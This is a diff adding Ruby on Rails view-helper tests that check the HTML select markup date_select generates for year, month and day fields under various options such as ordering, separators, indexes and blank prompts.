+ expected << %{<option value="1999">1999</option>\n<option value="2000">2000</option>\n<option value="2001">2001</option>\n<option value="2002">2002</option>\n<option value="2003">2003</option>\n<option selected="selected" value="2004">2004</option>\n<option value="2005">2005</option>\n<option value="2006">2006</option>\n<option value="2007">2007</option>\n<option value="2008">2008</option>\n<option value="2009">2009</option>\n}
+ expected << "</select>\n"
+
+ expected << %{<select id="post_written_on_2i" name="post[written_on(2i)]">\n}
+ expected << %{<option value="1">January</option>\n<option value="2">February</option>\n<option value="3">March</option>\n<option value="4">April</option>\n<option value="5">May</option>\n<option value="6">June</option>\n<option value="7" selected="selected">July</option>\n<option value="8">August</option>\n<option value="9">September</option>\n<option value="10">October</option>\n<option value="11">November</option>\n<option value="12">December</option>\n}
+ expected << "</select>\n"
+
+ expected << %{<select id="post_written_on_3i" name="post[written_on(3i)]">\n}
+ expected << %{<option value="1">1</option>\n<option value="2">2</option>\n<option value="3">3</option>\n<option value="4">4</option>\n<option value="5">5</option>\n<option value="6">6</option>\n<option value="7">7</option>\n<option value="8">8</option>\n<option value="9">9</option>\n<option value="10" selected="selected">10</option>\n<option value="11">11</option>\n<option value="12">12</option>\n<option value="13">13</option>\n<option value="14">14</option>\n<option value="15">15</o [...]
+
+ expected << "</select>\n"
+
+ assert_dom_equal expected, date_select("post", "written_on", :selected => Date.new(2004, 07, 10))
+ end
+
+ def test_date_select_with_selected_nil
+ @post = Post.new
+ @post.written_on = Date.new(2004, 6, 15)
+
+ expected = '<input id="post_written_on_1i" name="post[written_on(1i)]" type="hidden" value="1"/>' + "\n"
+
+ expected << %{<select id="post_written_on_2i" name="post[written_on(2i)]">\n}
+ expected << %{<option value=""></option>\n<option value="1">January</option>\n<option value="2">February</option>\n<option value="3">March</option>\n<option value="4">April</option>\n<option value="5">May</option>\n<option value="6">June</option>\n<option value="7">July</option>\n<option value="8">August</option>\n<option value="9">September</option>\n<option value="10">October</option>\n<option value="11">November</option>\n<option value="12">December</option>\n}
+ expected << "</select>\n"
+
+ expected << %{<select id="post_written_on_3i" name="post[written_on(3i)]">\n}
+ expected << %{<option value=""></option>\n<option value="1">1</option>\n<option value="2">2</option>\n<option value="3">3</option>\n<option value="4">4</option>\n<option value="5">5</option>\n<option value="6">6</option>\n<option value="7">7</option>\n<option value="8">8</option>\n<option value="9">9</option>\n<option value="10">10</option>\n<option value="11">11</option>\n<option value="12">12</option>\n<option value="13">13</option>\n<option value="14">14</option>\n<option value="1 [...]
+
+ expected << "</select>\n"
+
+ assert_dom_equal expected, date_select("post", "written_on", include_blank: true, discard_year: true, selected: nil)
+ end
+
+ def test_date_select_without_day
+ @post = Post.new
+ @post.written_on = Date.new(2004, 6, 15)
+
+ expected = "<input type=\"hidden\" id=\"post_written_on_3i\" name=\"post[written_on(3i)]\" value=\"1\" />\n"
+
+ expected << %{<select id="post_written_on_2i" name="post[written_on(2i)]">\n}
+ expected << %{<option value="1">January</option>\n<option value="2">February</option>\n<option value="3">March</option>\n<option value="4">April</option>\n<option value="5">May</option>\n<option value="6" selected="selected">June</option>\n<option value="7">July</option>\n<option value="8">August</option>\n<option value="9">September</option>\n<option value="10">October</option>\n<option value="11">November</option>\n<option value="12">December</option>\n}
+ expected << "</select>\n"
+
+ expected << %{<select id="post_written_on_1i" name="post[written_on(1i)]">\n}
+ expected << %{<option value="1999">1999</option>\n<option value="2000">2000</option>\n<option value="2001">2001</option>\n<option value="2002">2002</option>\n<option value="2003">2003</option>\n<option value="2004" selected="selected">2004</option>\n<option value="2005">2005</option>\n<option value="2006">2006</option>\n<option value="2007">2007</option>\n<option value="2008">2008</option>\n<option value="2009">2009</option>\n}
+ expected << "</select>\n"
+
+ assert_dom_equal expected, date_select("post", "written_on", :order => [ :month, :year ])
+ end
+
+ def test_date_select_without_day_and_month
+ @post = Post.new
+ @post.written_on = Date.new(2004, 2, 29)
+
+ expected = "<input type=\"hidden\" id=\"post_written_on_2i\" name=\"post[written_on(2i)]\" value=\"2\" />\n"
+ expected << "<input type=\"hidden\" id=\"post_written_on_3i\" name=\"post[written_on(3i)]\" value=\"1\" />\n"
+
+ expected << %{<select id="post_written_on_1i" name="post[written_on(1i)]">\n}
+ expected << %{<option value="1999">1999</option>\n<option value="2000">2000</option>\n<option value="2001">2001</option>\n<option value="2002">2002</option>\n<option value="2003">2003</option>\n<option value="2004" selected="selected">2004</option>\n<option value="2005">2005</option>\n<option value="2006">2006</option>\n<option value="2007">2007</option>\n<option value="2008">2008</option>\n<option value="2009">2009</option>\n}
+ expected << "</select>\n"
+
+ assert_dom_equal expected, date_select("post", "written_on", :order => [ :year ])
+ end
+
+ def test_date_select_without_day_with_separator
+ @post = Post.new
+ @post.written_on = Date.new(2004, 6, 15)
+
+ expected = "<input type=\"hidden\" id=\"post_written_on_3i\" name=\"post[written_on(3i)]\" value=\"1\" />\n"
+
+ expected << %{<select id="post_written_on_2i" name="post[written_on(2i)]">\n}
+ expected << %{<option value="1">January</option>\n<option value="2">February</option>\n<option value="3">March</option>\n<option value="4">April</option>\n<option value="5">May</option>\n<option value="6" selected="selected">June</option>\n<option value="7">July</option>\n<option value="8">August</option>\n<option value="9">September</option>\n<option value="10">October</option>\n<option value="11">November</option>\n<option value="12">December</option>\n}
+ expected << "</select>\n"
+
+ expected << "/"
+
+ expected << %{<select id="post_written_on_1i" name="post[written_on(1i)]">\n}
+ expected << %{<option value="1999">1999</option>\n<option value="2000">2000</option>\n<option value="2001">2001</option>\n<option value="2002">2002</option>\n<option value="2003">2003</option>\n<option value="2004" selected="selected">2004</option>\n<option value="2005">2005</option>\n<option value="2006">2006</option>\n<option value="2007">2007</option>\n<option value="2008">2008</option>\n<option value="2009">2009</option>\n}
+ expected << "</select>\n"
+
+ assert_dom_equal expected, date_select("post", "written_on", :date_separator => '/', :order => [ :month, :year ])
+ end
+
+ def test_date_select_without_day_and_with_disabled_html_option
+ @post = Post.new
+ @post.written_on = Date.new(2004, 6, 15)
+
+ expected = "<input type=\"hidden\" id=\"post_written_on_3i\" disabled=\"disabled\" name=\"post[written_on(3i)]\" value=\"1\" />\n"
+
+ expected << %{<select id="post_written_on_2i" disabled="disabled" name="post[written_on(2i)]">\n}
+ expected << %{<option value="1">January</option>\n<option value="2">February</option>\n<option value="3">March</option>\n<option value="4">April</option>\n<option value="5">May</option>\n<option value="6" selected="selected">June</option>\n<option value="7">July</option>\n<option value="8">August</option>\n<option value="9">September</option>\n<option value="10">October</option>\n<option value="11">November</option>\n<option value="12">December</option>\n}
+ expected << "</select>\n"
+
+ expected << %{<select id="post_written_on_1i" disabled="disabled" name="post[written_on(1i)]">\n}
+ expected << %{<option value="1999">1999</option>\n<option value="2000">2000</option>\n<option value="2001">2001</option>\n<option value="2002">2002</option>\n<option value="2003">2003</option>\n<option value="2004" selected="selected">2004</option>\n<option value="2005">2005</option>\n<option value="2006">2006</option>\n<option value="2007">2007</option>\n<option value="2008">2008</option>\n<option value="2009">2009</option>\n}
+ expected << "</select>\n"
+
+ assert_dom_equal expected, date_select("post", "written_on", { :order => [ :month, :year ] }, :disabled => true)
+ end
+
+ def test_date_select_within_fields_for
+ @post = Post.new
+ @post.written_on = Date.new(2004, 6, 15)
+
+ output_buffer = fields_for :post, @post do |f|
+ concat f.date_select(:written_on)
+ end
+
+ expected = "<select id='post_written_on_1i' name='post[written_on(1i)]'>\n<option value='1999'>1999</option>\n<option value='2000'>2000</option>\n<option value='2001'>2001</option>\n<option value='2002'>2002</option>\n<option value='2003'>2003</option>\n<option selected='selected' value='2004'>2004</option>\n<option value='2005'>2005</option>\n<option value='2006'>2006</option>\n<option value='2007'>2007</option>\n<option value='2008'>2008</option>\n<option value='2009'>2009</option> [...]
+ expected << "<select id='post_written_on_2i' name='post[written_on(2i)]'>\n<option value='1'>January</option>\n<option value='2'>February</option>\n<option value='3'>March</option>\n<option value='4'>April</option>\n<option value='5'>May</option>\n<option selected='selected' value='6'>June</option>\n<option value='7'>July</option>\n<option value='8'>August</option>\n<option value='9'>September</option>\n<option value='10'>October</option>\n<option value='11'>November</option>\n<optio [...]
+ expected << "<select id='post_written_on_3i' name='post[written_on(3i)]'>\n<option value='1'>1</option>\n<option value='2'>2</option>\n<option value='3'>3</option>\n<option value='4'>4</option>\n<option value='5'>5</option>\n<option value='6'>6</option>\n<option value='7'>7</option>\n<option value='8'>8</option>\n<option value='9'>9</option>\n<option value='10'>10</option>\n<option value='11'>11</option>\n<option value='12'>12</option>\n<option value='13'>13</option>\n<option value=' [...]
+
+ assert_dom_equal(expected, output_buffer)
+ end
+
+ def test_date_select_within_fields_for_with_index
+ @post = Post.new
+ @post.written_on = Date.new(2004, 6, 15)
+ id = 27
+
+ output_buffer = fields_for :post, @post, :index => id do |f|
+ concat f.date_select(:written_on)
+ end
+
+ expected = "<select id='post_#{id}_written_on_1i' name='post[#{id}][written_on(1i)]'>\n<option value='1999'>1999</option>\n<option value='2000'>2000</option>\n<option value='2001'>2001</option>\n<option value='2002'>2002</option>\n<option value='2003'>2003</option>\n<option selected='selected' value='2004'>2004</option>\n<option value='2005'>2005</option>\n<option value='2006'>2006</option>\n<option value='2007'>2007</option>\n<option value='2008'>2008</option>\n<option value='2009'> [...]
+ expected << "<select id='post_#{id}_written_on_2i' name='post[#{id}][written_on(2i)]'>\n<option value='1'>January</option>\n<option value='2'>February</option>\n<option value='3'>March</option>\n<option value='4'>April</option>\n<option value='5'>May</option>\n<option selected='selected' value='6'>June</option>\n<option value='7'>July</option>\n<option value='8'>August</option>\n<option value='9'>September</option>\n<option value='10'>October</option>\n<option value='11'>November</op [...]
+ expected << "<select id='post_#{id}_written_on_3i' name='post[#{id}][written_on(3i)]'>\n<option value='1'>1</option>\n<option value='2'>2</option>\n<option value='3'>3</option>\n<option value='4'>4</option>\n<option value='5'>5</option>\n<option value='6'>6</option>\n<option value='7'>7</option>\n<option value='8'>8</option>\n<option value='9'>9</option>\n<option value='10'>10</option>\n<option value='11'>11</option>\n<option value='12'>12</option>\n<option value='13'>13</option>\n<o [...]
+
+ assert_dom_equal(expected, output_buffer)
+ end
+
+ def test_date_select_within_fields_for_with_blank_index
+ @post = Post.new
+ @post.written_on = Date.new(2004, 6, 15)
+ id = nil
+
+ output_buffer = fields_for :post, @post, :index => id do |f|
+ concat f.date_select(:written_on)
+ end
+
+ expected = "<select id='post_#{id}_written_on_1i' name='post[#{id}][written_on(1i)]'>\n<option value='1999'>1999</option>\n<option value='2000'>2000</option>\n<option value='2001'>2001</option>\n<option value='2002'>2002</option>\n<option value='2003'>2003</option>\n<option selected='selected' value='2004'>2004</option>\n<option value='2005'>2005</option>\n<option value='2006'>2006</option>\n<option value='2007'>2007</option>\n<option value='2008'>2008</option>\n<option value='2009'> [...]
+ expected << "<select id='post_#{id}_written_on_2i' name='post[#{id}][written_on(2i)]'>\n<option value='1'>January</option>\n<option value='2'>February</option>\n<option value='3'>March</option>\n<option value='4'>April</option>\n<option value='5'>May</option>\n<option selected='selected' value='6'>June</option>\n<option value='7'>July</option>\n<option value='8'>August</option>\n<option value='9'>September</option>\n<option value='10'>October</option>\n<option value='11'>November</op [...]
+ expected << "<select id='post_#{id}_written_on_3i' name='post[#{id}][written_on(3i)]'>\n<option value='1'>1</option>\n<option value='2'>2</option>\n<option value='3'>3</option>\n<option value='4'>4</option>\n<option value='5'>5</option>\n<option value='6'>6</option>\n<option value='7'>7</option>\n<option value='8'>8</option>\n<option value='9'>9</option>\n<option value='10'>10</option>\n<option value='11'>11</option>\n<option value='12'>12</option>\n<option value='13'>13</option>\n<o [...]
+
+ assert_dom_equal(expected, output_buffer)
+ end
+
+ def test_date_select_with_index
+ @post = Post.new
+ @post.written_on = Date.new(2004, 6, 15)
+ id = 456
+
+ expected = %{<select id="post_456_written_on_1i" name="post[#{id}][written_on(1i)]">\n}
+ expected << %{<option value="1999">1999</option>\n<option value="2000">2000</option>\n<option value="2001">2001</option>\n<option value="2002">2002</option>\n<option value="2003">2003</option>\n<option value="2004" selected="selected">2004</option>\n<option value="2005">2005</option>\n<option value="2006">2006</option>\n<option value="2007">2007</option>\n<option value="2008">2008</option>\n<option value="2009">2009</option>\n}
+ expected << "</select>\n"
+
+ expected << %{<select id="post_456_written_on_2i" name="post[#{id}][written_on(2i)]">\n}
+ expected << %{<option value="1">January</option>\n<option value="2">February</option>\n<option value="3">March</option>\n<option value="4">April</option>\n<option value="5">May</option>\n<option value="6" selected="selected">June</option>\n<option value="7">July</option>\n<option value="8">August</option>\n<option value="9">September</option>\n<option value="10">October</option>\n<option value="11">November</option>\n<option value="12">December</option>\n}
+ expected << "</select>\n"
+
+ expected << %{<select id="post_456_written_on_3i" name="post[#{id}][written_on(3i)]">\n}
+ expected << %{<option value="1">1</option>\n<option value="2">2</option>\n<option value="3">3</option>\n<option value="4">4</option>\n<option value="5">5</option>\n<option value="6">6</option>\n<option value="7">7</option>\n<option value="8">8</option>\n<option value="9">9</option>\n<option value="10">10</option>\n<option value="11">11</option>\n<option value="12">12</option>\n<option value="13">13</option>\n<option value="14">14</option>\n<option value="15" selected="selected">15</o [...]
+ expected << "</select>\n"
+
+ assert_dom_equal expected, date_select("post", "written_on", :index => id)
+ end
+
+ def test_date_select_with_auto_index
+ @post = Post.new
+ @post.written_on = Date.new(2004, 6, 15)
+ id = 123
+
+ expected = %{<select id="post_123_written_on_1i" name="post[#{id}][written_on(1i)]">\n}
+ expected << %{<option value="1999">1999</option>\n<option value="2000">2000</option>\n<option value="2001">2001</option>\n<option value="2002">2002</option>\n<option value="2003">2003</option>\n<option value="2004" selected="selected">2004</option>\n<option value="2005">2005</option>\n<option value="2006">2006</option>\n<option value="2007">2007</option>\n<option value="2008">2008</option>\n<option value="2009">2009</option>\n}
+ expected << "</select>\n"
+
+ expected << %{<select id="post_123_written_on_2i" name="post[#{id}][written_on(2i)]">\n}
+ expected << %{<option value="1">January</option>\n<option value="2">February</option>\n<option value="3">March</option>\n<option value="4">April</option>\n<option value="5">May</option>\n<option value="6" selected="selected">June</option>\n<option value="7">July</option>\n<option value="8">August</option>\n<option value="9">September</option>\n<option value="10">October</option>\n<option value="11">November</option>\n<option value="12">December</option>\n}
+ expected << "</select>\n"
+
+ expected << %{<select id="post_123_written_on_3i" name="post[#{id}][written_on(3i)]">\n}
+ expected << %{<option value="1">1</option>\n<option value="2">2</option>\n<option value="3">3</option>\n<option value="4">4</option>\n<option value="5">5</option>\n<option value="6">6</option>\n<option value="7">7</option>\n<option value="8">8</option>\n<option value="9">9</option>\n<option value="10">10</option>\n<option value="11">11</option>\n<option value="12">12</option>\n<option value="13">13</option>\n<option value="14">14</option>\n<option value="15" selected="selected">15</o [...]
+ expected << "</select>\n"
+
+ assert_dom_equal expected, date_select("post[]", "written_on")
+ end
+
+ def test_date_select_with_different_order
+ @post = Post.new
+ @post.written_on = Date.new(2004, 6, 15)
+
+ expected = %{<select id="post_written_on_3i" name="post[written_on(3i)]">\n}
+ 1.upto(31) { |i| expected << %(<option value="#{i}"#{' selected="selected"' if i == 15}>#{i}</option>\n) }
+ expected << "</select>\n"
+
+ expected << %{<select id="post_written_on_2i" name="post[written_on(2i)]">\n}
+ 1.upto(12) { |i| expected << %(<option value="#{i}"#{' selected="selected"' if i == 6}>#{Date::MONTHNAMES[i]}</option>\n) }
+ expected << "</select>\n"
+
+ expected << %{<select id="post_written_on_1i" name="post[written_on(1i)]">\n}
+ 1999.upto(2009) { |i| expected << %(<option value="#{i}"#{' selected="selected"' if i == 2004}>#{i}</option>\n) }
+ expected << "</select>\n"
+
+ assert_dom_equal expected, date_select("post", "written_on", :order => [:day, :month, :year])
+ end
+
+ def test_date_select_with_nil
+ @post = Post.new
+
+ start_year = Time.now.year-5
+ end_year = Time.now.year+5
+ expected = %{<select id="post_written_on_1i" name="post[written_on(1i)]">\n}
+ start_year.upto(end_year) { |i| expected << %(<option value="#{i}"#{' selected="selected"' if i == Time.now.year}>#{i}</option>\n) }
+ expected << "</select>\n"
+
+ expected << %{<select id="post_written_on_2i" name="post[written_on(2i)]">\n}
+ 1.upto(12) { |i| expected << %(<option value="#{i}"#{' selected="selected"' if i == Time.now.month}>#{Date::MONTHNAMES[i]}</option>\n) }
+ expected << "</select>\n"
+
+ expected << %{<select id="post_written_on_3i" name="post[written_on(3i)]">\n}
+ 1.upto(31) { |i| expected << %(<option value="#{i}"#{' selected="selected"' if i == Time.now.day}>#{i}</option>\n) }
+ expected << "</select>\n"
+
+ assert_dom_equal expected, date_select("post", "written_on")
+ end
+
+ def test_date_select_with_nil_and_blank
+ @post = Post.new
+
+ start_year = Time.now.year-5
+ end_year = Time.now.year+5
+ expected = %{<select id="post_written_on_1i" name="post[written_on(1i)]">\n}
+ expected << "<option value=\"\"></option>\n"
+ start_year.upto(end_year) { |i| expected << %(<option value="#{i}">#{i}</option>\n) }
+ expected << "</select>\n"
+
+ expected << %{<select id="post_written_on_2i" name="post[written_on(2i)]">\n}
+ expected << "<option value=\"\"></option>\n"
+ 1.upto(12) { |i| expected << %(<option value="#{i}">#{Date::MONTHNAMES[i]}</option>\n) }
+ expected << "</select>\n"
+
+ expected << %{<select id="post_written_on_3i" name="post[written_on(3i)]">\n}
+ expected << "<option value=\"\"></option>\n"
+ 1.upto(31) { |i| expected << %(<option value="#{i}">#{i}</option>\n) }
+ expected << "</select>\n"
+
+ assert_dom_equal expected, date_select("post", "written_on", :include_blank => true)
+ end
+
+ def test_date_select_with_nil_and_blank_and_order
+ @post = Post.new
+
+ start_year = Time.now.year-5
+ end_year = Time.now.year+5
+
+ expected = '<input name="post[written_on(3i)]" type="hidden" id="post_written_on_3i" value="1"/>' + "\n"
+ expected << %{<select id="post_written_on_1i" name="post[written_on(1i)]">\n}
+ expected << "<option value=\"\"></option>\n"
+ start_year.upto(end_year) { |i| expected << %(<option value="#{i}">#{i}</option>\n) }
+ expected << "</select>\n"
+
+ expected << %{<select id="post_written_on_2i" name="post[written_on(2i)]">\n}
+ expected << "<option value=\"\"></option>\n"
+ 1.upto(12) { |i| expected << %(<option value="#{i}">#{Date::MONTHNAMES[i]}</option>\n) }
+ expected << "</select>\n"
+
+ assert_dom_equal expected, date_select("post", "written_on", :order=>[:year, :month], :include_blank=>true)
+ end
+
+ def test_date_select_with_nil_and_blank_and_discard_month
+ @post = Post.new
+
+ start_year = Time.now.year-5
+ end_year = Time.now.year+5
+
+ expected = %{<select id="post_written_on_1i" name="post[written_on(1i)]">\n}
+ expected << "<option value=\"\"></option>\n"
+ start_year.upto(end_year) { |i| expected << %(<option value="#{i}">#{i}</option>\n) }
+ expected << "</select>\n"
+ expected << '<input name="post[written_on(2i)]" type="hidden" id="post_written_on_2i" value="1"/>' + "\n"
+ expected << '<input name="post[written_on(3i)]" type="hidden" id="post_written_on_3i" value="1"/>' + "\n"
+
+ assert_dom_equal expected, date_select("post", "written_on", :discard_month => true, :include_blank=>true)
+ end
+
+ def test_date_select_with_nil_and_blank_and_discard_year
+ @post = Post.new
+
+ expected = '<input id="post_written_on_1i" name="post[written_on(1i)]" type="hidden" value="1" />' + "\n"
+
+ expected << %{<select id="post_written_on_2i" name="post[written_on(2i)]">\n}
+ expected << "<option value=\"\"></option>\n"
+ 1.upto(12) { |i| expected << %(<option value="#{i}">#{Date::MONTHNAMES[i]}</option>\n) }
+ expected << "</select>\n"
+
+ expected << %{<select id="post_written_on_3i" name="post[written_on(3i)]">\n}
+ expected << "<option value=\"\"></option>\n"
+ 1.upto(31) { |i| expected << %(<option value="#{i}">#{i}</option>\n) }
+ expected << "</select>\n"
+
+ assert_dom_equal expected, date_select("post", "written_on", :discard_year => true, :include_blank=>true)
+ end
+
+ def test_date_select_cant_override_discard_hour
+ @post = Post.new
+ @post.written_on = Date.new(2004, 6, 15)
+
+ expected = %{<select id="post_written_on_1i" name="post[written_on(1i)]">\n}
+ expected << %{<option value="1999">1999</option>\n<option value="2000">2000</option>\n<option value="2001">2001</option>\n<option value="2002">2002</option>\n<option value="2003">2003</option>\n<option value="2004" selected="selected">2004</option>\n<option value="2005">2005</option>\n<option value="2006">2006</option>\n<option value="2007">2007</option>\n<option value="2008">2008</option>\n<option value="2009">2009</option>\n}
+ expected << "</select>\n"
+
+ expected << %{<select id="post_written_on_2i" name="post[written_on(2i)]">\n}
+ expected << %{<option value="1">January</option>\n<option value="2">February</option>\n<option value="3">March</option>\n<option value="4">April</option>\n<option value="5">May</option>\n<option value="6" selected="selected">June</option>\n<option value="7">July</option>\n<option value="8">August</option>\n<option value="9">September</option>\n<option value="10">October</option>\n<option value="11">November</option>\n<option value="12">December</option>\n}
+ expected << "</select>\n"
+
+ expected << %{<select id="post_written_on_3i" name="post[written_on(3i)]">\n}
+ expected << %{<option value="1">1</option>\n<option value="2">2</option>\n<option value="3">3</option>\n<option value="4">4</option>\n<option value="5">5</option>\n<option value="6">6</option>\n<option value="7">7</option>\n<option value="8">8</option>\n<option value="9">9</option>\n<option value="10">10</option>\n<option value="11">11</option>\n<option value="12">12</option>\n<option value="13">13</option>\n<option value="14">14</option>\n<option value="15" selected="selected">15</o [...]
+ expected << "</select>\n"
+
+ assert_dom_equal expected, date_select("post", "written_on", :discard_hour => false)
+ end
+
+ def test_date_select_with_html_options
+ @post = Post.new
+ @post.written_on = Date.new(2004, 6, 15)
+
+ expected = %{<select id="post_written_on_1i" name="post[written_on(1i)]" class="selector">\n}
+ expected << %{<option value="1999">1999</option>\n<option value="2000">2000</option>\n<option value="2001">2001</option>\n<option value="2002">2002</option>\n<option value="2003">2003</option>\n<option value="2004" selected="selected">2004</option>\n<option value="2005">2005</option>\n<option value="2006">2006</option>\n<option value="2007">2007</option>\n<option value="2008">2008</option>\n<option value="2009">2009</option>\n}
+ expected << "</select>\n"
+
+ expected << %{<select id="post_written_on_2i" name="post[written_on(2i)]" class="selector">\n}
+ expected << %{<option value="1">January</option>\n<option value="2">February</option>\n<option value="3">March</option>\n<option value="4">April</option>\n<option value="5">May</option>\n<option value="6" selected="selected">June</option>\n<option value="7">July</option>\n<option value="8">August</option>\n<option value="9">September</option>\n<option value="10">October</option>\n<option value="11">November</option>\n<option value="12">December</option>\n}
+ expected << "</select>\n"
+
+ expected << %{<select id="post_written_on_3i" name="post[written_on(3i)]" class="selector">\n}
+ expected << %{<option value="1">1</option>\n<option value="2">2</option>\n<option value="3">3</option>\n<option value="4">4</option>\n<option value="5">5</option>\n<option value="6">6</option>\n<option value="7">7</option>\n<option value="8">8</option>\n<option value="9">9</option>\n<option value="10">10</option>\n<option value="11">11</option>\n<option value="12">12</option>\n<option value="13">13</option>\n<option value="14">14</option>\n<option value="15" selected="selected">15</o [...]
+
+ expected << "</select>\n"
+
+ assert_dom_equal expected, date_select("post", "written_on", {}, :class => 'selector')
+ end
+
+ def test_date_select_with_html_options_within_fields_for
+ @post = Post.new
+ @post.written_on = Date.new(2004, 6, 15)
+
+ output_buffer = fields_for :post, @post do |f|
+ concat f.date_select(:written_on, {}, :class => 'selector')
+ end
+
+ expected = %{<select id="post_written_on_1i" name="post[written_on(1i)]" class="selector">\n}
+ expected << %{<option value="1999">1999</option>\n<option value="2000">2000</option>\n<option value="2001">2001</option>\n<option value="2002">2002</option>\n<option value="2003">2003</option>\n<option value="2004" selected="selected">2004</option>\n<option value="2005">2005</option>\n<option value="2006">2006</option>\n<option value="2007">2007</option>\n<option value="2008">2008</option>\n<option value="2009">2009</option>\n}
+ expected << "</select>\n"
+
+ expected << %{<select id="post_written_on_2i" name="post[written_on(2i)]" class="selector">\n}
+ expected << %{<option value="1">January</option>\n<option value="2">February</option>\n<option value="3">March</option>\n<option value="4">April</option>\n<option value="5">May</option>\n<option value="6" selected="selected">June</option>\n<option value="7">July</option>\n<option value="8">August</option>\n<option value="9">September</option>\n<option value="10">October</option>\n<option value="11">November</option>\n<option value="12">December</option>\n}
+ expected << "</select>\n"
+
+ expected << %{<select id="post_written_on_3i" name="post[written_on(3i)]" class="selector">\n}
+ expected << %{<option value="1">1</option>\n<option value="2">2</option>\n<option value="3">3</option>\n<option value="4">4</option>\n<option value="5">5</option>\n<option value="6">6</option>\n<option value="7">7</option>\n<option value="8">8</option>\n<option value="9">9</option>\n<option value="10">10</option>\n<option value="11">11</option>\n<option value="12">12</option>\n<option value="13">13</option>\n<option value="14">14</option>\n<option value="15" selected="selected">15</o [...]
+
+ expected << "</select>\n"
+
+ assert_dom_equal expected, output_buffer
+ end
+
+ def test_date_select_with_separator
+ @post = Post.new
+ @post.written_on = Date.new(2004, 6, 15)
+
+ expected = %{<select id="post_written_on_1i" name="post[written_on(1i)]">\n}
+ expected << %{<option value="1999">1999</option>\n<option value="2000">2000</option>\n<option value="2001">2001</option>\n<option value="2002">2002</option>\n<option value="2003">2003</option>\n<option value="2004" selected="selected">2004</option>\n<option value="2005">2005</option>\n<option value="2006">2006</option>\n<option value="2007">2007</option>\n<option value="2008">2008</option>\n<option value="2009">2009</option>\n}
+ expected << "</select>\n"
+
+ expected << " / "
+
+ expected << %{<select id="post_written_on_2i" name="post[written_on(2i)]">\n}
+ expected << %{<option value="1">January</option>\n<option value="2">February</option>\n<option value="3">March</option>\n<option value="4">April</option>\n<option value="5">May</option>\n<option value="6" selected="selected">June</option>\n<option value="7">July</option>\n<option value="8">August</option>\n<option value="9">September</option>\n<option value="10">October</option>\n<option value="11">November</option>\n<option value="12">December</option>\n}
+ expected << "</select>\n"
+
+ expected << " / "
+
+ expected << %{<select id="post_written_on_3i" name="post[written_on(3i)]">\n}
+ expected << %{<option value="1">1</option>\n<option value="2">2</option>\n<option value="3">3</option>\n<option value="4">4</option>\n<option value="5">5</option>\n<option value="6">6</option>\n<option value="7">7</option>\n<option value="8">8</option>\n<option value="9">9</option>\n<option value="10">10</option>\n<option value="11">11</option>\n<option value="12">12</option>\n<option value="13">13</option>\n<option value="14">14</option>\n<option value="15" selected="selected">15</o [...]
+
+ expected << "</select>\n"
+
+ assert_dom_equal expected, date_select("post", "written_on", { :date_separator => " / " })
+ end
+
+ def test_date_select_with_separator_and_order
+ @post = Post.new
+ @post.written_on = Date.new(2004, 6, 15)
+
+ expected = %{<select id="post_written_on_3i" name="post[written_on(3i)]">\n}
+ expected << %{<option value="1">1</option>\n<option value="2">2</option>\n<option value="3">3</option>\n<option value="4">4</option>\n<option value="5">5</option>\n<option value="6">6</option>\n<option value="7">7</option>\n<option value="8">8</option>\n<option value="9">9</option>\n<option value="10">10</option>\n<option value="11">11</option>\n<option value="12">12</option>\n<option value="13">13</option>\n<option value="14">14</option>\n<option value="15" selected="selected">15</o [...]
+ expected << "</select>\n"
+
+ expected << " / "
+
+ expected << %{<select id="post_written_on_2i" name="post[written_on(2i)]">\n}
+ expected << %{<option value="1">January</option>\n<option value="2">February</option>\n<option value="3">March</option>\n<option value="4">April</option>\n<option value="5">May</option>\n<option value="6" selected="selected">June</option>\n<option value="7">July</option>\n<option value="8">August</option>\n<option value="9">September</option>\n<option value="10">October</option>\n<option value="11">November</option>\n<option value="12">December</option>\n}
+ expected << "</select>\n"
+
+ expected << " / "
+
+ expected << %{<select id="post_written_on_1i" name="post[written_on(1i)]">\n}
+ expected << %{<option value="1999">1999</option>\n<option value="2000">2000</option>\n<option value="2001">2001</option>\n<option value="2002">2002</option>\n<option value="2003">2003</option>\n<option value="2004" selected="selected">2004</option>\n<option value="2005">2005</option>\n<option value="2006">2006</option>\n<option value="2007">2007</option>\n<option value="2008">2008</option>\n<option value="2009">2009</option>\n}
+ expected << "</select>\n"
+
+ assert_dom_equal expected, date_select("post", "written_on", { :order => [:day, :month, :year], :date_separator => " / " })
+ end
+
+ def test_date_select_with_separator_and_order_and_year_discarded
+ @post = Post.new
+ @post.written_on = Date.new(2004, 6, 15)
+
+ expected = %{<select id="post_written_on_3i" name="post[written_on(3i)]">\n}
+ expected << %{<option value="1">1</option>\n<option value="2">2</option>\n<option value="3">3</option>\n<option value="4">4</option>\n<option value="5">5</option>\n<option value="6">6</option>\n<option value="7">7</option>\n<option value="8">8</option>\n<option value="9">9</option>\n<option value="10">10</option>\n<option value="11">11</option>\n<option value="12">12</option>\n<option value="13">13</option>\n<option value="14">14</option>\n<option value="15" selected="selected">15</o [...]
+ expected << "</select>\n"
+
+ expected << " / "
+
+ expected << %{<select id="post_written_on_2i" name="post[written_on(2i)]">\n}
+ expected << %{<option value="1">January</option>\n<option value="2">February</option>\n<option value="3">March</option>\n<option value="4">April</option>\n<option value="5">May</option>\n<option value="6" selected="selected">June</option>\n<option value="7">July</option>\n<option value="8">August</option>\n<option value="9">September</option>\n<option value="10">October</option>\n<option value="11">November</option>\n<option value="12">December</option>\n}
+ expected << "</select>\n"
+ expected << %{<input type="hidden" id="post_written_on_1i" name="post[written_on(1i)]" value="2004" />\n}
+
+ assert_dom_equal expected, date_select("post", "written_on", { :order => [:day, :month, :year], :discard_year => true, :date_separator => " / " })
+ end
+
+ def test_date_select_with_default_prompt
+ @post = Post.new
+ @post.written_on = Date.new(2004, 6, 15)
+
+ expected = %{<select id="post_written_on_1i" name="post[written_on(1i)]">\n}
+ expected << %{<option value="">Year</option>\n<option value="1999">1999</option>\n<option value="2000">2000</option>\n<option value="2001">2001</option>\n<option value="2002">2002</option>\n<option value="2003">2003</option>\n<option value="2004" selected="selected">2004</option>\n<option value="2005">2005</option>\n<option value="2006">2006</option>\n<option value="2007">2007</option>\n<option value="2008">2008</option>\n<option value="2009">2009</option>\n}
+ expected << "</select>\n"
+
+ expected << %{<select id="post_written_on_2i" name="post[written_on(2i)]">\n}
